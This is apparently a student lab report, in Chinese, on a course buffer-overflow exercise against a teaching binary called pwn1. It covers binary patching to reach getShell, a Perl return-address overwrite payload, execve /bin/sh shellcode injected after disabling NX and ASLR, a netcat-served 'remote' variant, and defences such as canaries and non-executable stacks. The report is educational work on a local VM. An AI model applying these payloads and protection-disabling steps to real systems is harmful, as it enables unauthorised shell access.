实验要求
1. 截图要求
1.1 所有操作截图主机名为本人姓名拼音
1.2 所编辑的文件名包含自己的学号
如未按如上格式要求,则相应部分报告内容不记成绩。
2. 报告内容
2.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)
2.2掌握反汇编与十六进制编程器 (0.5分)
2.3能正确修改机器指令改变程序执行流程(0.5分)
2.4能正确构造payload进行bof攻击(0.5分)
3.报告整体观感
3.1 报告格式范围,版面整洁 加0.5。
3.2 报告排版混乱,加0分。
一、准备知识
Linux基本操作:
- cp命令:将给出的文件或目录拷贝到另一文件或目录中,就如同DOS下的copy命令一样,功能非常强大。语法:cp [选项] 源文件或目录 目标文件或目录。说明:该命令把指定的源文件复制到目标文件或把多个源文件复制到目标目录中。
- a//该选项通常在拷贝目录时使用。它保留链接、文件属性,并递归地拷贝目录,其作用等于dpR选项的组合。 - d//拷贝时保留链接。 - f//删除已经存在的目标文件而不提示。 - i//和f选项相反,在覆盖目标文件之前将给出提示要求用户确认。回答y时目标文件将被覆盖,是交互式拷贝。 - p//此时cp除复制源文件的内容外,还将把其修改时间和访问权限也复制到新文件中。 - r//若给出的源文件是一目录文件,此时cp将递归复制该目录下所有的子目录和文件。此时目标文件必须为一个目录名。 - l//不作拷贝,只是链接文件。
- mv命令:为文件或目录改名或将文件由一个目录移入另一个目录中。该命令如同DOS下的ren和move的组合。
- l //交互方式操作。如果mv操作将导致对已存在的目标文件的覆盖,此时系统询问是否重写,要求用户回答y或n,这样可以避免误覆盖文件。
- f //禁止交互操作。在mv操作要覆盖某已有的目标文件时不给任何指示,指定此选项后,i选项将不再起作用。
- gdb 调试:调试工具
(gdb) step/s //执行下一条,如果函数进入函数 (gdb) backtrace/bt //查看函数调用栈帧 (gdb) info/i locals //查看当前栈帧局部变量 (gdb) frame/f //选择栈帧,再查看局部变量 (gdb) print/p //打印变量的值 (gdb) finish //运行到当前函数返回 (gdb) run/r //重新从程序开头连续执行 (gdb) watch input[4] //设置观察点 (gdb) info/i watchpoints //查看设置的观察点 (gdb) si // 一条指令一条指令调试 而s是一行一行代码 (gdb) info registers // 显示所有寄存器的当前值
二、实验一:直接修改程序机器指令,改变程序执行流程
实验目标:直接修改程序机器指令,改变程序执行流程。手工修改可执行文件,改变程序执行流程,直接跳转到getshell函数。
实验目的:理解可执行文件与机器指令
实验步骤
- 下载pwn1文件,可以通过共享文件夹或者拖拽放入kali虚拟机中,反汇编。找出main、foo、getshell等地址。
objdump -d pwn1 | more
- 修改可执行文件的指令使其弹出shell
cp pwn1 pwn1328 //复制一个备份文件pwn1328
vi pwn1 //打开pwn1文本编辑器,修改地址。
- 出现乱码,为了更好观察,将代码转化为16进制查看
%!xxd 寻找并更改地址
- 验证操作反汇编验证操作
- 如上图,更改地址成功,调用函数地址改变为c3ffffff
- pwn1作用为打印输入数字,pwn1328为打印$,试验成功。
实验原理分析:
main函数调用foo,对应机器指令为“ e8 d7ffffff”,
现在需要调用getShell,只要修改“d7ffffff”为,"getShell-80484ba(下条指令的地址)"对应的补码就行。
804847d-80484ba的补码为c3ffffff。
因此需要将call指令的目标地址由d7ffffff变为c3ffffff。
三、实验二:通过构造输入参数,造成BOF攻击,改变程序执行流
实验目标:修改返回地址,达到调用其他攻击函数的目的。
实验目的:了解缓冲区溢出攻击中怎么样调用函数。
实验步骤:
- 实验工具准备(将使用到gdb工具我们先下载)
install gdb
sudo -s
apt --fix-broken install
- 开始使用跟gdb对代码进行调试(首先观察下面这个foo函数)
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
- 这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。即输入超出28个字节的字符串。
- 确认输入字符串哪几个字符将会覆盖返回地址。
gdb pwn1
r //r 表示运行(run)
输入测试 //不超过28个字节,则正常回显输出输入字符
//超过28个字节,则覆盖EIP
info r //info 表示显示,r为寄存器(register),寄存器检查
- 构造并验证输入参数,并验证
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input
(cat input; cat) | ./pwn1
- Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中
原理分析:
通过观察可发现 eip寄存器被试验字符串中的超出字节覆盖,同理ebp寄存器也被超出字节覆盖,而其他寄存器看起来无异常,可以推测缓冲区预留了28字节空间,而28字节后的字节分别覆盖了ebp寄存器和eip寄存器的值。
在输入地址时,要注意机器的默认地址是大端输入还是小端输入,对于地址的查找要按照大端小端的方式来。
0x1c=28,通过lea命令预留了28字节的空间,所以28字节之后的内容都会溢出,且刚好覆盖了返回地址和下一条指令的地址,达到溢出攻击的目的。
下图为简单的覆盖示意图,foo函数有漏洞:foo函数中给输入的字符串预留了28个字节的空间
在正常执行的情况下,call调用foo,同时在堆栈上压上返回地址值:80484ba
我们利用缓冲区溢出覆盖返回地址,使得程序转向我们预期的getshell,运行getshell
四、注入Shellcode并执行
实验目的:使用shellcode实现缓冲区溢出攻击
实验目标:了解堆栈的存放方式
实验步骤:
- 准备阶段:1.设置堆栈可执行。2.关闭地址随机化。
execstack -s pwn1
echo "0" > /proc/sys/kernel/randomize_va_space
- 方法构思
Linux下有两种基本构造攻击buf的方法:
-
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
-
- 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
- 我们这个buf够放这个shellcode了
- 结构为:nops+shellcode+retaddr。
- nop一为是了填充,二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode
- 注入代码
\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 寻找注入地址
ps -ef | grep pwn1 //找到pwn1的进程号是:5906,根据自己的结果进行调整pid号会变化
gdb //打开gdb调试器
attach 19996 //绑定进程
info r esp //查看esp寄存器,查找地址。
x/16x 0xffffd5cc //看到 01020304了,再往前找28字节
- 计算地址:0xffffd5bc + 0x00000004 = 0xffffd5c0
- 溢出攻击:
- 原理分析:
以上实践是在非常简单的一个预设条件下完成的:
(1)关闭堆栈保护(gcc -fno-stack-protector)
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境
五、结合nc模拟远程攻击
实验目的:使用shellcode实现缓冲区溢出攻击
实验目标:了解堆栈的存放方式
实验步骤:
- 主机1,模拟一个有漏洞的网络服务:
nc -l 127.0.0.1 -p 28234 -e ./pwn1
//-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
//如果是两个虚拟机互联
ifconfig //查看ip地址,将127.0.0.1替换
-
在本机上攻击获取:
shell(cat input; cat) | nc 192.168.31.229 11204
六、Bof攻击防御技术
步骤一:从防止注入的角度
在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
步骤二: 注入入了也不让运行
结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
execstack -s pwn1 //把堆栈设置为可执行
execstack -q pwn1 //查询堆栈状态
//此时我们的攻击可以执行,如上实验
excstack -c pwn1 //把堆栈设置为不可执行
execstack -q pwn1 //查询堆栈状态
//此时我们的攻击不可执行了
//以下测试攻击
perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1
七、实验体会
在最开始实现最简单代码时候,产生很多警告。也有很多代码不完全不规范的地方,这对我在代码编写过程当中的编写规范有了很多感想,首先就是编写正确的代码,程序员有责任和义务养成安全编程的思想,应该熟悉那些可能会产生漏洞或需慎用的函数,清楚那些在编程中要小心使用的函数特别是在使用C语言时,例如: gets(),strcpy()等等。在软件测试阶段,要专门对程序中的每个缓冲区作边界检查和溢出检测。但是,由于程序编写者的经验不足和测试工作不够全面、充分,目前还不可能完全避免缓冲区溢出漏洞,因此这些漏洞在已经使用以及正在开发的软件中还是有存在的可能,还需要在使用软件时,对它做实时的监测。其次就是使用安全语言编写程序,应使用Java等安全的语言编写程序,因为Java在对缓冲区进行操作时,有相应的边界检查,所以可以有效地防止缓冲区溢出漏洞的产生。但是, Java也并非绝对安全, Java的解释器是用C语言编写的,而C并不是一种安全的语言,所以解释器还是可能存在缓冲区溢出漏洞并受到攻击。